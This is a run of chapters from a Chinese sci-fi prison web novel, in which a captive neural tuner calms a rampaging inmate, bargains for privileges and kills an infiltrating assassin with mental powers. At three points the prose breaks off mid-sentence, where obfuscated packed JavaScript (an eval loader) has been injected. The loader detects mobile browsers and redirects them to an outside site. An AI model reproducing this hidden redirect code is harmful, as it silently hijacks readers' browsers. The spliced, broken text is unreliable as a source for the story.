玻璃外,男性监区长和一群管教正急得像热锅上的蚂蚁。他们眼睁睁看着那个昂贵的筹码正在自我焚毁,却毫无办法。 连映盯着那个在黑暗中无声挣扎的男人,急促的呼吸彻底平稳下来。她那双因为刚刚精神上饱餐一顿而格外清明的眼睛里,闪过一抹极度冷酷的算计。 那是极端的危险,却也是在这座羁押所里获得更高权限的绝佳机会。 “带我去见他。”连映盯着狱医低声道。 “你疯了?你现在连站都站不稳,你……” “他没时间了。”连映截断了狱医的话。 狱医看着她认真的表情,又看看外面的混乱,心一横,给她戴上电子镣铐,推开医务室的门,看着她赤着脚踩在冰冷的金属地板上,直接走进了那片压抑的死寂中。 “长官,物理镇定手段对他已经没什么用了。”连映的声音平稳而冰冷,清晰的女声在安静的走廊里显得极其突兀。 监区长猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我可以当你们的免责盾牌,去处理这个烂摊子。但如果我把他拉回来,我要医疗区的长期通行白名单。只要他还需要调谐,这里的门以后就得对我敞开。” 周围的管教面面相觑。一个女嫌疑犯,居然敢在羁押所跟监区长谈条件? “你以为这儿是菜市场?”监区长发出一声气极反笑的冷哼,眼神像要吃人,“活儿还没干就敢要权限。人救活了再说!给我滚进去!” “长官,空头支票我不收。” 连映的视线越过监区长的肩膀,冷冷地看着玻璃内已经开始七窍渗血的秦阒:“把我的颈环录入‘条件触发授权’。只要病房监护仪上他的神经波段恢复平稳,白名单就自动生效。这是系统底层逻辑,谁也反悔不了。” 走廊里陷入了极度的紧绷,只有监护室里传来令人牙酸的金属拘束带被撕扯的声音,以及监护仪越来越急促的高频警报。 “长官,”连映平静地宣判,“他最多还能撑三十秒。答不答应,随你。” 监区长脸上的肌肉剧烈地抽搐着。他死死盯着连映这副毫无惧色的脸,最后一把扯过旁边的主管管教,声嘶力竭地咆哮: “按她说的做!设定条件触发许可!”监区长转过头,眼神阴冷得像淬了毒的刀子,“听好了,要是里面的警报停了人却死了,你连现在的牢房都回不去!” “没问题。”连映点点头,脸上毫无惧色。 扫描仪粗暴地扫过连映的颈环。 “滴——临时介入许可已开启,医疗区B级白名单待激活。” 原本象征绝对禁锢的红光闪烁了一下,变成了闪烁的橙绿色。 连映扯了扯嘴角,眼底闪过一抹得逞的冷光。 她毫不犹豫地转身,走进了那扇缓缓开启的重甲隔离门。 36.驯兽 隔离门在连映身后发出沉重的闭合声,走廊里的一切动静都被彻底隔绝在外。 一进屋,连映忍不住皱了皱眉。 这间特殊重症监护室密不透风,连个窗户都没有,压抑得像个铁皮棺材。空气中弥漫着血液、高浓度消毒水和仿生冷却液蒸发时混杂在一起的刺鼻气味。 她扫了一眼房间,余光不动声色地掠过天花板角落里闪烁着红光的微型监控探头。 既然是以神经调谐师的身份进来,戏就得做全。 她打量了一圈屋里的各色设备和医疗器械,很快就锁定了床头的通用型神经监测仪。 羁押所里的大脑检测和调谐设备是一种通用设备,和她平时用的专业级情绪调节设备并不一致,离专业级神经调谐设备差距就更远了,其实只能做浅层检测和干预,根本做不到深度的意识潜入,更做不了细致的神经调谐处理,能做到那些工作的设备往往是专人专设备,还需要验证调谐师的生物ID。 想也知道,如果随便谁都能搅乱别人脑子,这个世界不是乱套了? 但显然外面这些人对此并不清楚,否则,他们根本不会同意她的请求。 无论如何,屋里的东西,用来当给监控和羁押所这些外行看的幌子,应该足够了。何况,只要屋里这个疯子状况稳定,他们大概也不会追究具体手法,更不会上报——因为,如果不是已经束手无策、害怕男人的状况恶化到不可收拾的地步,他们根本不会和她谈这种不合规的条件。 主意已定,连映顺手扯下两根带有电极贴片的神经传导线,在指尖绕了两圈,这才赤着脚,踩着冰凉的金属地板走到病床侧面,上面被束缚着的高大男体冲击性地映入眼帘。 男人看起来比早上更加狼狈,上半身的囚服已经在之前的挣扎中撕裂,凌乱地挂在身上,露出赤裸结实的胸膛和腹肌。那种蕴含着绝对爆发力的肌肉线条,比美术馆里那些伤痕累累的古希腊雕塑还要吸引眼球。 “喂,你还好吗?我们早上见过,我是C095,是个专业的神经调谐师,来查看一下你的状况。”连映目光滑过他赤裸优美的肌肉曲线,用平稳的声音进行初步的意识试探。 “呼……呼……”男人喉咙里发出野兽般粗重的喘息,浑身青筋暴起,眼神狂乱涣散,似乎对她的到来没有任何理智层面的反应。 “没有任何反应,看来需要进行深度强制介入。”连映低声喃喃,目光落在他那张脸上。 仔细看去,他的长相英俊且极具攻击性:陡峭如斧凿的眉骨压着深邃的眼窝,长期的不见天日让他的皮肤呈现出一种异常的苍白,挺拔得近乎突兀的鼻梁像冰川上切下的一块冷岩,透着生人勿近的薄凉。 而他脸上最惹眼的,是眉心那道在这个时代显然是被刻意保留的旧疤,它像战神雕像上被刀斧劈出的裂痕,为这副冰冷的皮相平添了一份暴戾的压迫感。 连映看着,心里有点感慨:不管眼前这人曾经是块多么坚硬锋利的岩石,如今都只能像一尊布满灰尘的岩石般被掩埋地下,不见天日。她的人生几乎已经被彻底摧毁,甚至还不如她——至少她现在神志清醒,还有算计别人的余地。 心中思绪一掠而过,连映收敛心神,探出拿着电极贴片的双手,试图从侧面按住他的头部。 “嘎吱——!” 就在她指尖即将触碰到他滚烫太阳穴的瞬间,秦阒的身体猛地向上弓起。 他体内暴走的仿生肌纤维爆发出了极其恐怖的动能。伴随着令人牙酸的金属摩擦声,固定在他右肩和胸口的两条高分子合金带虽然没有完全崩断,但锁扣的齿轮在非人的暴力下发生了严重的错位和滑脱! 束缚骤然松动。他那条重获部分自由的右臂带着野兽般的本能,犹如铁钳般猛地探出,死死扣住了连映伸出的手腕。 那力道极大,几乎要在瞬间捏碎她的腕骨。秦阒的半个身体借着这股拉扯力狂暴地仰起,那双完全失去理智的眼睛透出嗜血的凶光,带着一股利风朝她扑来。 连映被这股巨大的力量扯得猛地向前一栽。 换作普通人,此刻早就惊呼着往后挣脱了,但连映的眼底没有丝毫恐慌。她知道现在后退不仅会被扯断手腕,还会彻底错失调谐的时机,让外面那些死盯着监控的人看出破绽。 连映咬紧牙关,借着被他拉扯的力道,左手猛地撑住床沿,整个人借势腾空翻身而上。 她毫不客气地用膝盖极其刁钻地狠狠压住他挣脱的右臂关节,同时借着全身下坠的重量,直接跨坐上了他剧烈震颤的胸腹。她试图用这种绝对压制的杠杆支点,将他仰起的上半身重新死死钉回病床。 但男人的躯体力量实在太恐怖了。即使在绝对不利的姿态下,他浑身的肌肉依然像钢铁般贲起,剧烈的反扑几乎要将连映掀翻。 就在这千钧一发之际,连映冰冷的大腿内侧隔着薄薄的囚服,死死贴住了他滚烫的腹肌。她身上那种属于深渊同类的冷酷气息,毫无保留地笼罩了他。 秦阒狂暴的反扑动作,在感知到这股气息的瞬间,极其突兀地僵滞了半秒。 就像是一头失控的凶兽突然被熟悉的气味扼住了后颈,那股盘踞在他体内的阴冷意志,在排斥与贪婪的渴望中发生了短暂的短路。 连映精准地抓住了这致命的半秒。 她反手挣脱钳制,“啪”的一声将电极贴片粗暴地拍在他的额角,接通了旁边通用仪器的读数回路。与此同时,她自己的双手十指如精准的冰冷机械,猛地按住了他滚烫的太阳穴。 “给我安静点!” 随着连映冷冷一喝,通用仪器上的数据开始狂跳,但真正起作用的根本不是那台破机器。 因为,连映正在将自己最纯粹、最冰冷的精神力,化作一场绝对零度的暴风雪,极其蛮横地灌入了秦阒暴走的身体内部。 轰——! “呃……!” 两股庞大的力量在秦阒的神经中枢里轰然相撞。男人喉咙里爆发出一声压抑的嘶喘,滚烫的汗水顺着他线条分明的侧脸滴落,砸在连映冰冷的手背上。 连映的意识刚一刺入,就被迎面扑来的狂暴信息流撞得大脑一阵眩晕。 物理层面上,秦阒虽然被短暂压制,但那只半自由的右手却在本能的驱使下,猛地从下方抬起,一把死死扣住了连映的腰肢。他的五指像烙铁一样掐着她的软肉,力道大得几乎要将她折断。 连映疼得闷哼一声,额头瞬间渗出冷汗,但她按在男人太阳穴上的手却没有挪动分毫。 “想阻止我?休想。” 她强忍着腰部的剧痛,精神力像无数把冰冷的锥子,极其精准、毫无怜悯地钉死那些正在疯狂暴走的神经突触。那种感觉,就像是用极寒的铁腕,生生将一团沸腾翻滚的岩浆死死压灭。 男人身上那些暴凸的青筋开始缓缓消退,体温也开始下降。 他掐在连映腰上的那只手,也因为肌肉痉挛的缓解而逐渐失去了那种破坏性的力道,却依然本能地紧紧圈着她,甚至指骨都在微微发白。仿佛那是他在这片冰天雪地里,抓住的唯一一块浮木。 他如困兽般的疯狂挣扎终于渐渐平息。胸膛剧烈起伏,大口喘着粗气。 那双原本充血涣散的眼睛,在经历了剧烈的生理震颤后,艰难地找回了属于人类的清明。 他睁开了眼。 那是双极其锋利、冰冷且充满审视的目光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299058|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即使此刻虚弱到了极点,他的眼底依然透着一种久居上位者的危险压迫感。 他没有惊慌失措,历经无数危险的过往让他能够极其冷静地判断自己此刻的处境:被束缚的身体,腰上的柔软触感,以及……这个骑在他身上、正用不知名的力量死死压制着他的不受限制的疯狂意志的女人。 她的身体很脆弱,他却丝毫不敢轻举妄动,因为他近乎直觉般地感受到,她其实完全有能力致自己于死地,但她不但没那么做,反而让自己混沌疯狂的神志变得明晰了些,从周围的设备看来,她似乎在给自己做精神调谐。 但是……他最在意的不是这个,而是,眼前女人,他曾经见过。 她冷得像冰的眼神,就像一道闪电,劈开了他混沌的大脑和记忆。 “黑市深网……十三号频段。” 男人的声音沙哑低沉,透着冷酷与虚弱交织的紧绷。他像一头锁定了绝密目标的野兽,目光极具穿透力地盯着连映的眼睛,一字一顿: “……是你。” 连映微微一怔。她按在男人太阳穴上的手指微不可察地僵了一下,瞳孔猛地收缩。 但男人没能再多说一个字。那短暂的清醒,仿佛已经耗尽了他对抗深渊的最后一丝底力。那双锐利的严重刚刚聚起的焦距迅速溃散,头颅脱力地砸回枕头上,彻底陷入了深度的昏迷。他圈在连映腰上的手也随之无力地松开,滑落在一旁。 “呼……” 连映松了口气,瞥了一眼旁边仪器屏幕上已经平稳下来的神经波动图,刚想从男人身上下来,身后突然传来病房外层气闸门开启的轻响。 精神力感知到异样气息的她后背一紧,忍不住迅速回头。 一个戴着全封闭战术头盔的管教走了进来,一进门便看见一幅极其暧昧的景象:女囚犯衣衫凌乱地跨坐在上身赤裸的昏迷男犯人身上,怎么看都不对劲的姿势让他脚步明显顿了一下。 隔着战术面罩,陌生管教不自然地伸手挠了挠后颈,肢体动作透着几分打工人的局促。 “不好意思,打断一下哈。”他刻意压低了声音,语气里透着股‘我什么都懂’的圆滑感,“外面监区长等得不耐烦了,让我进来看看情况。没想打扰你们治疗,你别在意,继续,当我不存在就行。” 连映努力绷着脸开口道:“没打扰什么,我需要控制住他才能进行治疗。” 一边说,她一边起身从昏迷的男人身上下去,下一秒,她眼角余光却瞥见那个管教伸手悄悄按在了内侧的锁上。 “……” 厚重的合金门锁死了。 连映的寒毛瞬间竖了起来,一股凉意直冲脑门。外面已经被锁死了,他进来“看数据”,为什么要从里面再加一道最高级别的死锁?! 几乎在落锁的同一时间,病房内原本医疗仪器的滴滴声、天花板的换气声和管教的脚步声都突兀地消失了。 不仅是声音,周围的空气产生了一种极其诡异的折射感,就像是整个病床周围被人凭空罩上了一层无法穿透的真空隔音膜。 管教面罩下那双原本透着局促的眼睛,瞬间褪去了所有无害的伪装,化作令人战栗的死寂。 不,是周围的一切都变成了死寂。 “这是……怎么回事!?”连映眼角的余光瞥见那名陌生管教的手正迅速摸向怀中。 她没有半秒迟疑,按在秦阒太阳穴上的双手猛地发力一撑,整个人借助反作用力,极其果断地从他身上翻滚下去! 几乎就在她腾空的刹那,杀手怀中寒芒乍现,一柄材质诡异、惨白冷锐的利刃顺势斜挑而出,在寂静的空气中划出一道惨烈的弧光,直冲连映尚未落地的咽喉而去! 37.认知盲区 惨白的利刃撕裂空气。 连映没有半秒迟疑,她按在秦阒太阳穴上的双手猛地发力一撑,整个人像一只受惊的幼兽,极其狼狈却又果断地从他身上翻滚下去,直接摔向了床侧的阴影里。 她要把床上的男人当成最坚固的肉盾。 “嗤——” 利刃几乎是贴着她的颈侧划过,割破了单薄的囚服。连映在跌落的一瞬瞥见,杀手手中握着的是一柄材质诡异的长刺,呈现出某种生物组织特有的钙化质感,在冷光灯下没有任何反光。 也正是这一秒,连映那尚未完全撤出的精神力,对着秦阒那已经混乱不堪的神经中枢狠狠地扎了下去。 就在这一秒,连映那尚未撤出的精神力狠狠刺向床上昏迷男人的大脑。 【醒醒,接待客人了。】连映的意识恍如洪钟,响彻男人混沌的意识。 “呃——啊!” 病床上的男人猛地睁开双眼,眉心那道旧疤因为肌肉的极度痉挛而显得愈发狰狞。他发出一声低吼,“咔嚓”两声,竟然硬生生用纯粹的肌肉爆发力崩断了侧方的合金带,大手闪电般扣住了杀手握刺的手腕。 杀手心里一惊。 她知道一些关于床上男人的情报,但她没想到此时他居然会忽然从昏迷中醒过来,更没料到装有全身加强义体的自己在物理力量上竟然完全无法撼动这个活死人。 她有些后悔因为高额的报酬接这个任务了,但此刻后悔没有任何用处,这是她这个级别的人应该抛弃的情感。 感受着自己的手腕以几乎要被折断的力道死死钳住,杀手心思电转,果断将剩余的精神力其压缩成一根阴毒的针,顺着接触点猛地扎向男人混沌暴乱的识海。 这样的意识域她不是没见过,而且也不难对付,只要在引爆意识域、导致对方精神和大脑崩溃放手的那一瞬及时躲开,就不会受到任何波及。 翻滚在地的连映就在他脚边。趁杀手倾身拔枪的一瞬,双手如藤蔓般死死缠上了杀手那只即将触碰到枪柄的左腕。 【警告!检测到物理接触和精神高度共鸣,请问是否要进入和物理接触对象的共鸣?】 强制共鸣共鸣是什么?一瞬间,连映感觉自己的意识撞上了一堵长满尖刺的生铁墙。 杀手的能力远比她想象的稳固。在触碰的刹那,连映感知的世界瞬间被一种剧烈的高频噪音占领。对方的意识像是一张生满倒钩的大网,正顺着她的感知触角反向包裹上来。 在绝对的经验面前,她那点刚觉醒的精神力摇摇欲绝。 既然守不住,那就把水搅浑。 连映没有去格挡那股撕裂感,反而主动松开了识海深处那团尚未消化的、从“黑斑”那里吞噬来的混乱能量。她将这团如沥青般粘稠、足以让任何理智生物瞬间发疯的“精神垃圾”,毫无保留地顺着共鸣通道甩了过去! 轰——! 杀手的意识在撞上这股高维污染的瞬间,防御阵地像是被泼进了一桶沸腾的强酸。 趁着杀手认知崩溃的刹那,连映强行张开那道勉强成型的精神囚笼,死死锁住了对方试图逃逸的核心。 就在那一秒,一些粘稠、阴冷的记忆残片随着链接的混乱,像玻璃渣一样刺入了连映的脑海: 那是一个散发着腐烂焚香味的黑暗空旷的巨大空间里,无数脊椎上接种了白色骨刺的信徒正跪伏在地,一张巨大的、由一些漩涡状的线组成的眼睛图案在火光中晃动。 这是这个袭击者的记忆吗?连映被这些破碎的画面震得大脑一阵眩晕。 她抓住杀手核心涣散的一瞬,意识化作一根极冷的冰针,精准地贯穿了对方维持感官运作的中枢。 那种感觉,就像是亲手捏碎了一颗跳动的心脏。 现实中,杀手的身体瞬间僵直。 旁边,和他交手的被缚的男人立刻发现了杀手的迟钝。 神志混沌如野兽的他对眼前浑身杀气四溢的袭击者没有任何怜悯,扣住她右腕的大手顺势上移,死死锁住了杀手的颈椎,伴随着一声令人毛骨悚然的、仿佛枯木折断的脆响。 杀手的颈椎被生生折断,尸体像个破布口袋一样砸在地板上。 完成这致命反击的高大男人似乎也彻底耗尽了刚刚被强行刺激出的残余清醒,仰面倒回了凌乱的病床上,胸膛剧烈起伏,再次陷入了深度的昏迷。 “咔吧。” 笼罩全屋的死寂瓦解了。监护仪恢复了“滴滴”的正常运转。 一股阴冷、轻盈且带着某种欺骗性韵律的力量,顺着那道因杀手死亡而变得松动的通道,飞速流进连映的身体。 【系统提示:链接对象意识已抹杀!恭喜共鸣者095获得新技能:认知盲区(初级)——通过精神干扰,可在短时间内(当前上限5秒)篡改目标区域内生物的视觉和听觉感知。冷却时间:12小时。】 连映猛地松开手,大口大口地喘着粗气,劫后余生的庆幸、后怕和获得新能力的喜悦让她心情复杂。 那股新获得的力量在她的识海里翻滚,像是一种寄生在神经上的阴影。她并没有感到变强的快感,反而有一种被异物入侵的恶心感——那是属于一个杀手的、扭曲的感官欺骗技巧。 认知盲区。 她闭上眼,仿佛能看到一段代码在脑内强行运行。这种通过精神力篡改他人视觉与听觉的手段,此刻已经刻进了她的本能。 没什么可嫌弃的,你要变强,要变强…… 连映努力咽下恶心欲呕的感觉,看着杀手的身体像个破布口袋一样瘫软在地,七窍渗血。 她正想上前查看一下,却听见门外忽然响起一些纷乱的动静。 “咔嚓” “撞门!快撞!” 是那些管教!他们居然还在这里? 连映眼神一凛,顿时扯着嗓子大喊起来:“救……救命啊——!” “嘭!” 她的叫声刚刚落下,重甲隔离门被外面焦急的监区长强行开启。 监区长是个五十来岁的中年男人,姓吴。此人最大的特点就是那双金鱼眼,总是一副没睡醒的样子,实际上心里比谁都怕出乱子。 他刚才见里面一直没反应,派副官进去也迟迟未归,他意识到不妙却打不开门,正着急上火着,忽然听到里面喊救命的动静,与此同时,一直打不开的门也忽然能打开了。 冲进病房的一瞬间,吴监区长的金鱼眼猛地瞪圆了。他先是看了一眼地上的尸体,又看了一眼昏死过去的秦阒,最后目光落在了蜷缩在角落、脸色惨白如纸的连映身上。 “这……这他娘的是怎么回事儿?”吴监区长声音有些发颤,一双金鱼眼瞬间瞪圆了。 “监区长!监视器一切正常,镜头和我们的对不上!”一个管教惊叫道。 “信号劫持!这事儿大了!”吴监区长声音打着颤。他看了一眼地上的尸体,又看向浑身战栗的连映,冷汗直流流。 “长官……救命……” 连映蜷缩在角落里,脸色惨白如纸。这不仅是演戏,刚才那场博弈让她此时几乎连指尖都在颤抖,杀人的后劲和精神的透支让她的胃部一阵阵抽搐。她指着尸体,眼泪夺眶而出: “他要把门反锁了要杀我……我躲了一下,他就去扎床上的男犯人,结果那人发了疯,把他直接……直接……” 说到这里,她打了个哆嗦,紧紧闭上了眼睛,似乎不想再回忆这残酷场面。 吴监区长死死盯着那具尸体,尤其是看到那人穿着他管教的制服却长着一张陌生的脸时,他的冷汗瞬间就下来了。 这个人,他之前明明记得长着一张熟悉的脸,和熟悉的声音,现在怎么忽然变了个人? 这事儿大了。 这不单是杀人,这是渗透,是严重失职。如果捅上去,他这监区长的位置别说保不住,说不定还得进去跟这帮犯人作伴。 他看了一眼连映。这姑娘现在抖得像筛糠一样,眼神涣散,看起来就是个被吓破胆的小调谐师。 “把人抬走!录入生物样本比对,动作快点!”吴监区长低吼着,他转过身,对身后的手下使了个眼色,那意思是:这事儿先按死。 他走到连映跟前,那双金鱼眼里闪过一丝满含威胁的凶光。 “C095,今晚这儿……是他突然发病杀人,明白吗?”吴监区长压低声音,眼里满是威胁,“记住,出去以后,关于今天晚上这事儿,一个字都不能再提,否则,虽然我不管你们女监区,但我依然有的事手段让你在这底下叫天天不应,叫地地不灵!” 连映垂下眼帘,没说话。她知道,这老油条在等她表态。 “长官,我什么都不知道,但是……我现在感觉不太舒服,真的。” 连映虚弱地指了指身后重新安静下来的男人,眼眶湿润,“其实,今天如果本来我都把他安抚下来了,只是,他的问题太严重了,一次不行,得好多次治疗调谐才能有所改善……” 吴监区长回头看了一下,虽然今晚出了变故,但那疯子状况确实看着好些了。 他能看出来这女犯人是在故意推脱,其实是在要更多交换条件,但关键,她确实有用,他们现在却没多少选择。 仪器上的数据不会骗人,只有她的调谐能让这个失控的军方活体安静下来。如果秦阒死了,或者彻底失控把羁押所拆了,他一样没好果子吃。 而且……这女人也不见得能再重见天日,等她把那疯子治得差不多了,想要处理她还不是顺手的事? 想到这里,他不耐烦地冲连映摆摆手道:“啧,多次治疗?你不就是想要医疗区权限吗?那个已经生效了,我们不赖账。” 这种时候,只要能把这事儿平了,这点小权限他还是敢给的。 连映却并没有就此罢手,区区一个医疗区权限现在已经不够了,她需要更多,才能在这个危机四伏的羁押所里保护自己。 “我不是这个意思……”连映适时地咳了两声,身体摇摇欲坠,虚弱地靠在床腿上,“刚才我差点就死在里面,要是再发生这样的事,我真的没力气再救他一次了,你们……你们还是找别人吧,这事儿我不想再做第二次了,太危险了。” 这是一句威胁。监区长的眼角抽搐了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308183|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下。 “你到底想要什么?食物?积分?”他阴着脸开口。 连映垂下眼帘,手指下意识地掠过颈后。那里埋着所长郑仁钧亲自下令植入的深层监测栓,此刻正因为她剧烈波动的心率而隐隐发烫。 “长官,我吓坏了,精神和体力都透支了。”连映虚弱地开口,语气里带着几分谈条件的自保,“那个人的情况太危险了。如果我一直住在那个零下几度的隔间,吃着那种甚至不如机油的劣质营养膏,我怕下次我不仅压不住他,也没命替长官目击这种意外了。” 连映喘着气,苍白的嘴唇微微颤抖,眼神却透着一股求生的执拗, “我住的监室太冷了,劣质的营养膏根本无法维持我神经突触的活跃度。长官,工具如果生锈了,是干不了精细活的。” 说到这,她表情郑重起来,认真地看了监区长一眼,补充道: “还有,为了更好地治疗他的问题,我需要更专业的设备,需要羁押所图书阅览室和资料库的交叉通行权限,需要能每天去图书馆阅览书籍和数据。 这个人的神经中枢受损极其严重,我的手法需要大量的历史文献和精神力基础模型来支撑,否则下一次强行调谐,我怕……我们都会……” 也许是因为害怕,她声音渐轻,没有说下去。 她态度平静,周围的管教却倒吸了一口冷气,没人敢在刚刚发生命案的现场,跟监区长这么讨价还价。 监区长死死盯着她看了几秒,忽然笑了。虽然这女人提了一堆有的没的条件,但他反而松了口气。他最喜欢讲条件、能收买的人。 “给她开通医疗辅导员的临时交叉白名单,阅览室让你进。明天起,她的伙食调高一级标准配给,监室温控调高三度。” 监区长冷冷地吩咐旁边的副官,随后指着连映的鼻子警告,“C095,你最好祈祷你能一直管用。带她滚回牢房!” * 二十分钟后,羁押所顶层。 羁押所所长郑仁钧站在落地窗前,看着窗外灰蒙蒙的天空。 这里的风景总是很荒芜,和他正合适。 他戴着黑手套的手指翻看着吴监区长呈上来的简报,身形极高,背影透着股像刀锋一样的凌厉。 “所长,事情已经压下去了。那个杀手……是外部潜入的雇佣兵。”吴监区长站在他身后,微微弓着腰,像个犯了错的小学生。 郑仁钧没说话,只是盯着尸检照片上杀手那双布满血丝、瞳孔散大的眼睛。 “意外?”他缓缓开口,语声低沉得像是在喉咙里磨砂,“吴监区长,在这行干了这么久,你应该知道,单纯的脖子折断,是不会让意识核心碎成这种碎渣的。” 吴监区长愣住了,金鱼眼里满是迷茫:“您的意思是……” “没什么。”郑仁钧转过身,面容阴鸷,那双鹰隼般的眼睛里透着一种令人不寒而栗的平静,“那个连映……还是那个受惊过度的样子?” “是,哭得梨花带雨的,看起来吓坏了。而且,看她那体型,也实在不可能对付得了专业雇佣兵。” 郑仁钧发出一声若有若无的轻笑。吴监区长可能确实看不出名堂,但作为一个精神系能力者,他本能地嗅到了不对的气息。 “明天巡视,我要亲自见见她。”郑仁钧挥挥手,示意吴监区长退下。 他倒要看看,这到底是个被囚禁的老虎,还是一直被磨掉利爪的家猫。 * 同一时间。 夜色深沉,连映被两名管教押送着走在回监区的通道里。 四周是冰冷的合金墙壁,冷光灯在头顶忽明忽暗。这种感觉很奇妙,半小时前她刚刚彻底扼杀了一个生命,并从对方腐烂的意识里抢夺了那份名为“认知盲区”的能力。 那种能力此刻就像是一块寄生在她神经元上的阴影,时不时地跳动,散发着一股令人不适的冰凉感。 我杀人了。这个念头在脑海中闪过,却没有引起她预想中的愧疚,反而是一种复杂的庆幸——如果死的不是他,就是自己。 她低头看着自己的双手,在冷光下显得异常苍白。颈后的监测栓在持续发热,提醒着她依然是一头被关在笼子里的牲口。 “快点走,别磨蹭!”身后的管教粗暴地推了她一把。 连映顺从地加快了脚步。她的目光穿过长廊,落在了监区深处的黑暗中。她需要变强,不仅仅是为了活下去,更是为了搞清楚,她遭遇的这一切究竟是什么人所做,又为了什么。 回到监室时已经是黑灯时间,距离凌晨两点的算力抽取还有好几个小时,此时是可以相对自由地去上厕所的时间。连映走进厕所。在那道窄窄的月光下,她看到了苏姨和卢维。 苏姨那个平日里圆润的脸,在阴影下显得有些诡异。她正迅速将一包药塞进卢维手里。卢维接过的动作谨慎而小心,和她这个一贯冷酷淡定的军人形象有些割裂。 见连映进来,卢维身形面色微微一变,而苏姨却显得气定神闲。 她慢条斯理地转过头,那张微胖的脸上露出了一种长辈式的慈祥笑容。 38.月光下 “小连,这么晚回来,不去睡觉,倒来管起老婆子的闲事了?”苏姨走近,笑眯眯地低声道:“吴监区长没看上去那么好对付,小心点。 连映没有说话,心里却警觉起来:苏姨已经知道那边发生了什么吗? 她没回话,苏姨也不恼,干手指在连映手心里飞快地划过,塞进了一枚硬币。 “拿着吧,有人托我给你带个话。”苏姨凑到她耳边,慈眉善目的笑容纹丝不动,只是嘴皮微张,“原话是:归于真实,至明赐福。” !!?至明? 是她知道的那个至明,还是,同音或巧合? 连映指尖微不可察地一僵,似是有什么预感,眼睛向下,看到了硬币上的图案:一个漩涡状的线条构成的眼睛。 连映心底掀起狂澜,她努力控制着自己的面部表情,冷着嗓子问道:“是谁给你传的话!?” “啊呀,这个我可不能说啊。”苏姨好似没感到连映的急迫,慢条斯理地摇了摇头,笑容依然慈和。 “这也是那个人告诉你的?”连映闻着空气中自她身上传来的淡淡烟味,紧盯着她脸上每一丝细微的肌肉纹理,语气毫无波澜,却带着一种不容置疑的笃定,“能顶着吴监区长的雷区,大半夜跑来传这种疯话……你们的交易够大的,能买多少根烟?” 苏姨脸上的笑意深了几分,眼角的褶子挤在一起,像只狡猾的老狐狸:“小姑娘,别白费力气套老婆子的话,我要是没有职业道德,可混不到今天。” 她摇了摇头,慈和的笑眼里多了一些深意:“不过……你会知道的。” 苏姨擦着她的肩膀走过,从她身上传来的烟味在空气里停留片刻,而后渐渐淡去。 连映摊开手,将手里那枚刻着那个刻着旋涡般眼睛图案的硬币放进兜里,心中起闪过无数猜疑,又被她强行按下。 现在卢维还在,她不能露出任何异状。 盥洗室内重新陷入了那种令人窒息的死寂。清冷的月光从窄窗斜切进来,将两人的影子拉得有些扭曲。连映盯着卢维那双灰蓝色的眼睛,视线落到了对方放纸包的囚服兜里 “那是强化剂?”连映率先打破沉默,声音极低地说。 不知道为什么,她觉得卢维会回答她。 卢维原本紧绷的肩胛骨在确认苏姨走远后微微一松。她沉默地看了连映一眼,从怀里摸出一颗用皱巴巴糖纸裹着的硬块,递了过去:“别想多了,是糖。” 连映没接。她看着卢维,眼神透着股洞察一切的清冷:“苏姨这种人,深夜过来不会只为了送几颗糖。刚才我看到的不是这个。” 卢维的手僵在半空,几秒后,她自嘲地扯了扯嘴角,另一只手摸向衣兜,将纸包里的东西露出一角——一些淡蓝色的药片。她指了指自己的太阳穴,言简意赅:“药。治这儿的,战争ptsd,最近恶化了。不要告诉别人。” 连映看着她的眼睛,蓝色的眼瞳清澈见底,目光坦率。她能感觉到,卢维说的是真话。 “这药有什么副作用吗?我看你好像时常头不舒服。”连映问。 “……是有。”卢维指指自己有些僵硬的脸,“僵了,做不出大表情来,也渐渐不爱说话了。不过,这也不光是因为药,也是因为……” 她猝然停了话头,没继续说下去,指着脑袋做了个拔出什么东西的手势。 连映明白她是什么意思了。 “原来是这样,我还以为你只是性格冷酷面瘫,不好意思啊。”连映看着月光下卢维仿佛被冻住的面容,真心道歉道。她没想到卢维会这么坦诚。 “不用,无所谓。”卢维不在意地说,重新把糖递到连映眼前晃了晃,“这个,确定不要?” 连映摇摇头:“看起来是你的心爱之物,君子不多人所好。” “我还有,这个你拿着吧。”卢维把手伸进兜里摸出另一块一模一样的在连映眼前晃了晃,又塞了回去,“就当是替我保密的报酬。” 连映不知道,卢维这人居然还有点淡淡的幽默感。 她不吃糖,但她现在倒确实有些想要这个东西了,她也不知道为什么。 “放心,我什么都不会说。”连映牵了牵嘴角微微一笑,点点头,伸手拿走卢维手里那颗糖。 指尖接触到卢维手背的瞬间,连映在心底屏住了呼吸。 【……】 死寂。脑海中没有任何涟漪,系统没有弹出任何关于“同源载体”的提示。 卢维不是一个可以链接的锚点。 一种意料之中的失落感袭来,连映缩回手,端详着手里那颗似乎已经存放了很久的糖。 那是这一代暮城年轻人小时候都吃过的一个牌子,连映也不例外,现在却少见了。 